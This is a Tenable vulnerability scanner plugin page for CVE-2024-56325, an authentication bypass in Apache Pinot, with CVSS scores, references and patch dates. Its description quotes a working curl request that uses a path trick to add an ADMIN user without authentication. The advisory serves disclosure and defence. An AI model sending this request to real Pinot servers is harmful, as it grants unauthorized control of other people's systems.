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SCA: security update for org.apache.pinot:pinot-broker, org.apache.pinot:pinot-common, org.apache.pinot:pinot-controller (GHSA-6jwp-4wvj-6597)

critical Tenable Cloud Security Plugin ID 423604

Description

There are packages installed that are affected by a vulnerability referenced in the following CVE:

 - Authentication Bypass Issue If the path does not contain / and contain., authentication is not required.
 Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"userna
 me\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permi
 ssions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return:
 {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H
 "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLL
 ER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}'
 http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added
 bypassing authentication, enabling the user to control Pinot. (CVE-2024-56325)

See Also

https://github.com/advisories/GHSA-6jwp-4wvj-6597

Plugin Details

Severity: Critical

ID: 423604

Version: Revision 1.8

Type: Local

Family: SCA Checks

Published: 4/1/2025

Updated: 7/2/2026

Supported Sensors: Tenable Cloud Security, Tenable Self-Hosted Container Security

Risk Information

VPR

Risk Factor: Medium

Score: 6.9

Percentile: 97.05

Vendor

Vendor Severity: Critical

CVSS v2

Risk Factor: Critical

Base Score: 10

Temporal Score: 7.4

Vector: CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS Score Source: CVE-2024-56325

CVSS v3

Risk Factor: Critical

Base Score: 9.8

Temporal Score: 8.5

Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Temporal Vector: CVSS:3.0/E:U/RL:O/RC:C

CVSS v4

Risk Factor: Critical

Base Score: 9.3

Threat Score: 8.1

Threat Vector: CVSS:4.0/E:U

Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Vulnerability Information

Exploit Ease: No known exploits are available

Patch Publication Date: 4/1/2025

Vulnerability Publication Date: 4/1/2025

Reference Information

CVE: CVE-2024-56325

cwe: CWE-288